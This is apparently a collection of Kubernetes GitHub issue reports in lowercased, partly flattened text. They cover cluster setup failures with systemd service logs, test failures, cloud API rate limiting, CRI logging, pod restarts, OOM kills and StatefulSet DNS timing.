210  int_dataplane.go 705: finished applying updates to dataplane. msectoapply=2.08263\r \r    \r etcd1,node4:\r    bash\r ● kubelet.service - kubernetes kubelet\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 21:15:35 cst; 12min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 961  kubelet \r    memory: 61.5m\r    cgroup: /system.slice/kubelet.service\r            ‣ 961 /usr/local/bin/kubelet --address=192.168.6.234 --hostname-override=192.168.6.234 --cgroup-driver=systemd --runtime-cgroups=/systemd/system.slice --kubelet-cgroups=/systemd/s...\r \r 1月 15 21:27:36 node4 kubelet 961 : i0115 21:27:36.748414     961 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.234\r 1月 15 21:27:45 node4 kubelet 961 : i0115 21:27:45.974915     961 qos_container_manager_linux.go:320   containermanager : updated qos cgroup configuration\r 1月 15 21:27:46 node4 kubelet 961 : i0115 21:27:46.755044     961 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r 1月 15 21:27:46 node4 kubelet 961 : i0115 21:27:46.756669     961 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node 192.168.6.234\r 1月 15 21:27:46 node4 kubelet 961 : i0115 21:27:46.756691     961 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.234\r 1月 15 21:27:46 node4 kubelet 961 : i0115 21:27:46.756709     961 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.234\r 1月 15 21:27:56 node4 kubelet 961 : i0115 21:27:56.763818     961 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r 1月 15 21:27:56 node4 kubelet 961 : i0115 21:27:56.765070     961 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node 192.168.6.234\r 1月 15 21:27:56 node4 kubelet 961 : i0115 21:27:56.765100     961 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.234\r 1月 15 21:27:56 node4 kubelet 961 : i0115 21:27:56.765116     961 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.234\r \r ● kube-proxy.service - kubernetes kube-proxy server\r    loaded: loaded  /etc/systemd/system/kube-proxy.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 21:15:35 cst; 12min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 949  kube-proxy \r    memory: 29.0m\r    cgroup: /system.slice/kube-proxy.service\r            ‣ 949 /usr/local/bin/kube-proxy --bind-address=192.168.6.234 --hostname-override=192.168.6.234 --cluster-cidr=10.68.0.0/16 --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig --log...\r \r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.932921     949 proxier.go:326  adding new service port \ kube-system/heapster:\  at 10.68.42.233:80/tcp\r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.932937     949 proxier.go:326  adding new service port \ kube-system/monitoring-grafana:\  at 10.68.87.42:80/tcp\r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.932956     949 proxier.go:326  adding new service port \ default/kubernetes:https\  at 10.68.0.1:443/tcp\r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.932971     949 proxier.go:326  adding new service port \ kube-system/kube-dns:dns-tcp\  at 10.68.0.2:53/tcp\r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.932986     949 proxier.go:326  adding new service port \ kube-system/kube-dns:dns\  at 10.68.0.2:53/udp\r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.933001     949 proxier.go:326  adding new service port \ kube-system/kubernetes-dashboard:\  at 10.68.129.20:80/tcp\r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.952340     949 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-grafana:\   :32054/tcp \r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.952428     949 proxier.go:1674  opened local port \ nodeport for kube-system/kubernetes-dashboard:\   :30010/tcp \r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.952469     949 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-influxdb:admin\   :31816/tcp \r 1月 15 21:15:42 node4 kube-proxy 949 : i0115 21:15:42.952511     949 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-influxdb:http\   :32109/tcp \r ● etcd.service - etcd server\r    loaded: loaded  /etc/systemd/system/etcd.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 21:15:42 cst; 12min ago\r      docs: https://github.com/coreos\r  main pid: 956  etcd \r    memory: 58.8m\r    cgroup: /system.slice/etcd.service\r            └─956 /usr/local/bin/etcd --name=node4 --cert-file=/etc/etcd/ssl/etcd.pem --key-file=/etc/etcd/ssl/etcd-key.pem --peer-cert-file=/etc/etcd/ssl/etcd.pem --peer-key-file=/etc/etcd/s...\r \r 1月 15 21:16:00 node4 etcd 956 : apply entries took too long  166.776203ms for 1 entries \r 1月 15 21:16:00 node4 etcd 956 : avoid queries with large range/delete range!\r 1月 15 21:16:00 node4 etcd 956 : apply entries took too long  115.325386ms for 1 entries \r 1月 15 21:16:00 node4 etcd 956 : avoid queries with large range/delete range!\r 1月 15 21:17:46 node4 etcd 956 : store.index: compact 3964\r 1月 15 21:17:46 node4 etcd 956 : finished scheduled compaction at 3964  took 500.88µs \r 1月 15 21:22:46 node4 etcd 956 : store.index: compact 4279\r 1月 15 21:22:46 node4 etcd 956 : finished scheduled compaction at 4279  took 611.567µs \r 1月 15 21:27:46 node4 etcd 956 : store.index: compact 4672\r 1月 15 21:27:46 node4 etcd 956 : finished scheduled compaction at 4672  took 677.058µs \r    \r etcd2,node5\r    bash\r ● kubelet.service - kubernetes kubelet\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:13:19 cst; 1h 15min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 21676  kubelet \r    memory: 15.2m\r    cgroup: /system.slice/kubelet.service\r            ‣ 21676 /usr/local/bin/kubelet --address=192.168.6.235 --hostname-override=192.168.6.235 --cgroup-driver=systemd --runtime-cgroups=/systemd/system.slice --kubelet-cgroups=/systemd...\r \r 1月 15 21:28:25 node5 kubelet 21676 : i0115 21:28:25.583361   21676 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.235\r 1月 15 21:28:25 node5 kubelet 21676 : i0115 21:28:25.583382   21676 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.235\r 1月 15 21:28:35 node5 kubelet 21676 : i0115 21:28:35.594090   21676 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r 1月 15 21:28:35 node5 kubelet 21676 : i0115 21:28:35.595433   21676 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node 192.168.6.235\r 1月 15 21:28:35 node5 kubelet 21676 : i0115 21:28:35.595466   21676 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.235\r 1月 15 21:28:35 node5 kubelet 21676 : i0115 21:28:35.595497   21676 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.235\r 1月 15 21:28:45 node5 kubelet 21676 : i0115 21:28:45.605106   21676 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r 1月 15 21:28:45 node5 kubelet 21676 : i0115 21:28:45.606473   21676 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node 192.168.6.235\r 1月 15 21:28:45 node5 kubelet 21676 : i0115 21:28:45.606501   21676 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.235\r 1月 15 21:28:45 node5 kubelet 21676 : i0115 21:28:45.606514   21676 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.235\r \r ● kube-proxy.service - kubernetes kube-proxy server\r    loaded: loaded  /etc/systemd/system/kube-proxy.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:13:21 cst; 1h 15min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 21816  kube-proxy \r    memory: 6.8m\r    cgroup: /system.slice/kube-proxy.service\r            ‣ 21816 /usr/local/bin/kube-proxy --bind-address=192.168.6.235 --hostname-override=192.168.6.235 --cluster-cidr=10.68.0.0/16 --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig --l...\r \r 1月 15 20:13:22 node5 kube-proxy 21816 : i0115 20:13:22.716814   21816 proxier.go:326  adding new service port \ kube-system/kube-dns:dns-tcp\  at 10.68.0.2:53/tcp\r 1月 15 20:13:24 node5 kube-proxy 21816 : i0115 20:13:24.100811   21816 proxier.go:326  adding new service port \ kube-system/kubernetes-dashboard:\  at 10.68.129.20:80/tcp\r 1月 15 20:13:24 node5 kube-proxy 21816 : i0115 20:13:24.117137   21816 proxier.go:1674  opened local port \ nodeport for kube-system/kubernetes-dashboard:\   :30010/tcp \r 1月 15 20:13:26 node5 kube-proxy 21816 : i0115 20:13:26.601391   21816 proxier.go:326  adding new service port \ kube-system/monitoring-influxdb:http\  at 10.68.206.163:8086/tcp\r 1月 15 20:13:26 node5 kube-proxy 21816 : i0115 20:13:26.601428   21816 proxier.go:326  adding new service port \ kube-system/monitoring-influxdb:admin\  at 10.68.206.163:8083/tcp\r 1月 15 20:13:26 node5 kube-proxy 21816 : i0115 20:13:26.617397   21816 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-influxdb:http\   :32109/tcp \r 1月 15 20:13:26 node5 kube-proxy 21816 : i0115 20:13:26.617486   21816 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-influxdb:admin\   :31816/tcp \r 1月 15 20:13:27 node5 kube-proxy 21816 : i0115 20:13:27.492914   21816 proxier.go:326  adding new service port \ kube-system/heapster:\  at 10.68.42.233:80/tcp\r 1月 15 20:13:28 node5 kube-proxy 21816 : i0115 20:13:28.259581   21816 proxier.go:326  adding new service port \ kube-system/monitoring-grafana:\  at 10.68.87.42:80/tcp\r 1月 15 20:13:28 node5 kube-proxy 21816 : i0115 20:13:28.278396   21816 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-grafana:\   :32054/tcp \r  etcd.service - etcd server\r    loaded: loaded  /etc/systemd/system/etcd.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:11:20 cst; 1h 17min ago\r      docs: https://github.com/coreos\r  main pid: 17655  etcd \r    memory: 75.6m\r    cgroup: /system.slice/etcd.service\r            └─17655 /usr/local/bin/etcd --name=node5 --cert-file=/etc/etcd/ssl/etcd.pem --key-file=/etc/etcd/ssl/etcd-key.pem --peer-cert-file=/etc/etcd/ssl/etcd.pem --peer-key-file=/etc/etcd...\r \r 1月 15 21:15:42 node5 etcd 17655 : c887807eafa7efff  quorum:2  has received 2 msgvoteresp votes and 0 vote rejections\r 1月 15 21:15:42 node5 etcd 17655 : c887807eafa7efff became leader at term 31\r 1月 15 21:15:42 node5 etcd 17655 : raft.node: c887807eafa7efff elected leader c887807eafa7efff at term 31\r 1月 15 21:15:43 node5 etcd 17655 : timed out waiting for read index response\r 1月 15 21:17:46 node5 etcd 17655 : store.index: compact 3964\r 1月 15 21:17:46 node5 etcd 17655 : finished scheduled compaction at 3964  took 522.82µs \r 1月 15 21:22:46 node5 etcd 17655 : store.index: compact 4279\r 1月 15 21:22:46 node5 etcd 17655 : finished scheduled compaction at 4279  took 570.395µs \r 1月 15 21:27:46 node5 etcd 17655 : store.index: compact 4672\r 1月 15 21:27:46 node5 etcd 17655 : finished scheduled compaction at 4672  took 837.805µs \r    \r \r   what you expected to happen  :\r when i finish setup my cluster,i'd like to make all nodes join into cluster.but i got this:\r    bash\r  root@master1 ~   kubectl cluster-info\r kubernetes master is running at https://192.168.6.3:6443\r heapster is running at https://192.168.6.3:6443/api/v1/namespaces/kube-system/services/heapster/proxy\r kubedns is running at https://192.168.6.3:6443/api/v1/namespaces/kube-system/services/kube-dns/proxy\r kubernetes-dashboard is running at https://192.168.6.3:6443/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy\r monitoring-grafana is running at https://192.168.6.3:6443/api/v1/namespaces/kube-system/services/monitoring-grafana/proxy\r monitoring-influxdb is running at https://192.168.6.3:6443/api/v1/namespaces/kube-system/services/monitoring-influxdb/proxy\r \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r  root@master1 ~   kubectl get csr\r no resources found.\r  root@master1 ~   kubectl get nodes\r no resources found.\r  root@master1 ~   kubectl get all\r name             type        cluster-ip   external-ip   port s    age\r svc/kubernetes   clusterip   10.68.0.1    <none>        443/tcp   1h\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r follow the official manual.\r \r   anything else we need to know?  :\r in the past 4 days,i had succeed and i can see the dashboard.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: hardware\r - os  e.g. from /etc/os-release :centos7\r - kernel  e.g.  uname -a  :linux master1 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:ansible\r - others:\r

 \r   what happened  :\r test failed when using ./build/run.sh make test\r    \r ok     k8s.io/kubernetes/cmd/kubelet/app/options    0.038s\r --- fail: testexampleobjectschemas  0.16s \r     examples_test.go:386: directory ../examples/elasticsearch: expected 3 examples, got 0\r     examples_test.go:356: skipping : ../examples/openshift-origin/secret.json/secret\r fail\r fail    k8s.io/kubernetes/examples    0.201s\r ok     k8s.io/kubernetes/hack    0.003s\r    \r \r   what you expected to happen  :\r test passing\r \r   how to reproduce it  as minimally and precisely as possible   :\r ./build/run.sh make test\r \r   anything else we need to know?  :\r \r   environment  :\r checked out code at master:5364f7beb8\r ubuntu 16.04.3 lts\r kernel:  4.10.0-40-generic\r $ go version\r go version go1.9.4 linux/amd64\r $ docker version\r client:\r  version:      17.09.0-ce\r  api version:  1.32\r  go version:   go1.8.3\r  git commit:   afdb6d4\r  built:        tue sep 26 22:42:18 2017\r  os/arch:      linux/amd64\r server:\r  version:      17.09.0-ce\r  api version:  1.32  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   afdb6d4\r  built:        tue sep 26 22:40:56 2017\r  os/arch:      linux/amd64\r  experimental: false

see issue  6079 as the roll-up for node upgrades.  while the basic mechanisms   6099,  6088  will be built for the gce and gke providers, we want node upgrades to work for all supported cloud providers.  this issue really depends on the rewrite from bash &rarr; go by hooking into  pkg/cloudprovider    6095 . after that is complete, ideally the addition of support for other cloud providers will be automatic if they implement the required interfaces. in reality, there may be more a bit more plumbing, refactoring, cloud-specific implementation, and testing required to close this issue with confidence.

from a user:  the single worst experience we’ve had so far is from the loadbalancer: the official loadbalancer abstraction  “ingress”  is not there yet  no reserved ip addresses . we therefore use a service  with nodeport  and configure a httploadbalancer with the nodeport as a backend.  when we take down a node there are two error-sources: a  the nodeport on the terminated node goes down b  a faulty pod  a pods on the terminated node   the nodeport round-robins requests to all pods. all nodes will eventually get a faulty response. therefore the loadbalancer will mark the whole cluster as faulty.

i set up a 1000 node cluster on gke using standard gce advanced route networking.  it wasn't possible for @dchen1107 to ssh to a node because gcloud was unable to add her ssh key to the project -- rate limit exceeded.  note that some other calls like list instances and resizing the mig were not impacted, so it might be a particular category of api call that's getting rate limited?  we need to make sure 1000 node k8s clusters don't trigger gce's rate limiter and make the user unable to use parts of the gce api for their project.  is there a vaguely-sane way to understand how much gce api traffic each of our n controller objects is sending?  do we e.g. have prometheus metrics of sent calls  and perhaps result code for success/error?   note this may share an underlying cause with  21561 where large numbers of gce calls result in api errors.

i'm using patch with json patch mode for some deployments, and when checking rollout history, change cause is always empty  https://github.com/kubernetes/kubernetes/blob/f500194d92ab0f8d64836f0b38a6eeefc2c612ee/pkg/kubectl/cmd/patch.go l158  if i read the code correctly, this would fail silently, so maybe something is not working specifically with the  patch  command.

this failure happens quite often in the e2e upgrade tests:  seems like a good fix would be to clean out all the static ip's that aren't being used before running the tests.      • failure  53.644 seconds  05:09:50  k8s.io  services 05:09:50 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:783 05:09:50   should be able to change the type and ports of a service  slow   it  05:09:50   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:725 05:09:50  05:09:50   expected error: 05:09:50       < errors.errorstring | 0xc8212eedb0>: { 05:09:50           s: \ failed to create static ip: error:  gcloud.compute.addresses.create  some requests did not succeed:\  - quota 'static_addresses' exceeded. limit: 7.0\ \ \ , 05:09:50       } 05:09:50       failed to create static ip: error:  gcloud.compute.addresses.create  some requests did not succeed: 05:09:50        - quota 'static_addresses' exceeded. limit: 7.0 05:09:50        05:09:50        05:09:50   not to have occurred 05:09:50  05:09:50   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:498

hi,  we are facing huge problem with throttling requests to aws espiecially for describe methods. our cluster has more than five hundred volumes attached. also depending on the  load we are attaching/detaching volumes as well. as an outcome from controller manager logs i see a lot of entries for delay like this :+1:   > w0901 08:31:51.487165       1 retry_handler.go:87  got requestlimitexceeded error on aws request  ec2::describevolumes  > w0901 08:31:51.532471       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:51.580238       1 request.go:347  field selector: v1 - serviceaccounts - metadata.name - default: need to check if this is versioned correctly. > w0901 08:31:51.682693       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.000878       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.156797       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:52.197507       1 retry_handler.go:87  got requestlimitexceeded error on aws request  ec2::describevolumes  > i0901 08:31:52.214532       1 reconciler.go:115  started detachvolume for volume \ kubernetes.io/aws-ebs/vol-faa7bd79\  from node \ ip-172-28-0-137.eu-west-1.compute.internal\  > i0901 08:31:52.216702       1 operation_executor.go:619  verified volume is safe to detach for volume \ kubernetes.io/aws-ebs/vol-faa7bd79\   spec.name: \ postgresdata\   from node \ ip-172-28-0-137.eu-west-1.compute.internal\ . > w0901 08:31:52.216837       1 retry_handler.go:55  inserting delay before aws request  ec2::describeinstances  to avoid requestlimitexceeded: 7s > w0901 08:31:52.228492       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.297681       1 retry_handler.go:87  got requestlimitexceeded error on aws request  ec2::describevolumes  > w0901 08:31:52.333899       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.406311       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.433745       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.451718       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.470854       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.544053       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.564880       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.641716       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.670373       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.759217       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.788739       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.890559       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.894025       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.918555       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 7s > w0901 08:31:52.968347       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:52.978393       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:52.999720       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.001144       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.043901       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.051308       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.070164       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.094603       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.124363       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.307330       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:53.510714       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:54.168228       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:54.339202       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:54.504001       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:55.854036       1 reflector.go:334  pkg/controller/service/servicecontroller.go:150: watch of  api.service ended with: couldn't queue object: couldn't create key for object &{laststate:0xc8297d0340 appliedstate:0xc8297d0340 mu:{state:0 sema:0} lastretrydelay:0}: object has no meta: struct service.cachedservice lacks embedded typemeta type > w0901 08:31:56.032130       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:56.081788       1 retry_handler.go:55  inserting delay before aws request  ec2::describeinstances  to avoid requestlimitexceeded: 6s > w0901 08:31:56.426938       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s > w0901 08:31:56.498465       1 retry_handler.go:55  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s  as you can see cm  postpones requests, however request from the same minute are postpone with exactly the same time - amount of seconds.  as an outcome from aws account perspective we are not able to execute other things not related to kubernetes cluster as we are constantly receive request limit exceeded.   is there possiblity to allow cm use batches for describe methods and not make call per volume/instance and so on separately?  our version: client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6+coreos.0\ , gitcommit:\ f6f0055b8e503cbe5fb7b6f1a2ee37d0f160c1cd\ , gittreestate:\ clean\ , builddate:\ 2016-08-29t17:01:01z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }  thanks in advance. adam

current  cri logging format  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/kubelet-cri-logging.md  doesn't mention how to handle new line in the log.\r \r currently, it seems that we assume that each cri log line corresponds to a container output line. in this way, we don't need to handle newline specially.\r \r however, there are 2 problems:\r 1  if the container only outputs one line without newline at the end, the log generated won't have newline, either.  cri-o hit this in their node e2e test \r 2  if the log line is too long, runtime usually has to split one line into several lines.\r \r both cases will confuse kubelet.\r \r it would be better to:\r 1  let runtime escape all newlines in log content, and add newline to the end as part of cri logging format. \r 2  let kubelet unespace the newlines inside the log content.\r \r /cc @yujuhong @feiskyer @mrunalp /cc @kubernetes/sig-node-api-reviews

when i am trying to restart the pod, the request going to that pod are failing. ideally request should get transfer to other live pod. i have added prestop and poststart in my deployment yaml. please suggest\r \r \r {{- end}}\r         - name: tz\r           value: \ {{.values.containerinfo.env.tz}}\ \r         image: \ {{.values.containerinfo.image}}:{{.values.containerinfo.imagetag}}\ \r         lifecycle:\r           prestop:\r             exec:\r               command:  \ sleep\ , \ 300\  \r           poststart:\r             exec:\r               command:  \ sleep\ , \ 20\  \r         imagepullpolicy: \ {{.values.containerinfo.imagepullpolicy}}\ \r         livenessprobe:\r           httpget:\r             path: \ /health\ \r             port: 18080\r           initialdelayseconds: {{.values.containerinfo.livenessprobe.initialdelayseconds}}\r           timeoutseconds: {{.values.containerinfo.livenessprobe.timeoutseconds}}\r         name: \ pod-category-service-container\ \r         resources:\r           requests:\r             memory: \ {{.values.containerinfo.resources.requests.memory}}\ \r           limits:\r             memory: \ {{.values.c

currently when apiserver is overloaded and the buffer in the buffered backend starts to overflow, apiserver starts to generate a lot of messages like this:\r \r    \r exxxx xx:xx:xx.xxxxxx       1 metrics.go:86  error in audit plugin 'webhook' affecting 1 audit events: audit webhook queue blocked\r    \r \r these messages should be somehow collapsed/filtered. for example, write this message only once in a minute or once in 5 minutes.\r \r /cc @kubernetes/sig-auth-bugs

 @kubernetes/sig-node-bugs\r \r   what happened  :\r pause container got oom killed and all hell broke loose. for example, i can't exec into container anymore after that.\r \r   what you expected to happen  :\r pause container shouldn't get oom killed at all.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  here  https://pastebin.com/raw/f8tkhdj6  is a deployment that exhibits this strange behavior.\r \r   anything else we need to know?  :\r  here  https://pastebin.com/raw/hqf6cpxp  is a full log from kernel with a chain of oom's. the first one, for some reason, involves the pause container.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.5\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  : 4.4.0-116-generic\r - install tools: kubeadm\r - other: docker v17.03.2-ce

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r \r given this yaml:\r \r    \r  apiversion: v1\r  kind: service\r  metadata:\r    name: nginx\r    labels:\r      app: nginx\r  spec:\r    ports:\r    - port: 80\r      name: web\r    clusterip: none\r    selector:\r      app: nginx\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   selector:\r     matchlabels:\r       app: nginx   has to match .spec.template.metadata.labels\r   podmanagementpolicy: parallel \r   servicename: \ nginx\ \r   replicas: 2   by default is 1\r   template:\r     metadata:\r       labels:\r         app: nginx   has to match .spec.selector.matchlabels\r     spec:\r       restartpolicy: always\r       containers:\r       - name: nginx\r         image: busybox\r         command:  \ sh\ , \ -c\ , \ ping web-0.nginx; sleep 3; ping web-0.nginx\  \r         ports:\r         - containerport: 80   \r    \r \r log is:\r    \r ping: bad address 'web-0.nginx'\r ping web-0.nginx  10.244.0.78 : 56 data bytes\r 64 bytes from 10.244.0.78: seq=0 ttl=64 time=0.031 ms\r 64 bytes from 10.244.0.78: seq=1 ttl=64 time=0.041 ms\r 64 bytes from 10.244.0.78: seq=2 ttl=64 time=0.038 ms\r 64 bytes from 10.244.0.78: seq=3 ttl=64 time=0.071 ms\r 64 bytes from 10.244.0.78: seq=4 ttl=64 time=0.045 ms\r 64 bytes from 10.244.0.78: seq=5 ttl=64 time=0.059 ms\r    \r the first ping failed. but after 3 seconds, it works. my guess is that pod is addressable through the headless service, and the external dns entry just need some time to be created..\r so in order to ping the other with success, i have to add  sleep 3  before all commands.\r can a statefulset have some logic like  until nslookup 'web-0.nginx'; do echo waiting for myservice; sleep 2; done;  ?\r \r   what you expected to happen  :\r statefulset have some logic like  until nslookup 'web-0.nginx'; do echo waiting for myservice; sleep 2; done; \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

